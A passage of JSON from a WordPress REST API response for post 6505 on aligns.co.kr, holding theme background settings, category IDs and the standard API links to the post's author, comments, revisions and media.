center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"footnotes":""},"categories":[81,83],"tags":[],"_links":{"self":[{"href":"https:\/\/aligns.co.kr\/wp-json\/wp\/v2\/posts\/6505"}],"collection":[{"href":"https:\/\/aligns.co.kr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/aligns.co.kr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/aligns.co.kr\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/aligns.co.kr\/wp-json\/wp\/v2\/comments?post=6505"}],"version-history":[{"count":4,"href":"https:\/\/aligns.co.kr\/wp-json\/wp\/v2\/posts\/6505\/revisions"}],"predecessor-version":[{"id":6550,"href":"https:\/\/aligns.co.kr\/wp-json\/wp\/v2\/posts\/6505\/revisions\/6550"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/aligns.co.kr\/wp-json\/wp\/v2\/media\/6506"}],"wp:attachment":[{"href":"https:\/\/aligns.co.kr\/wp-json\/wp\/v2\/media?parent=6505"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/aligns.co.kr\/wp-json\/wp\/v2\/categories?post=6505"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/aligns.co.kr\/wp-json\/wp\/v2\/tags?post=6505"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}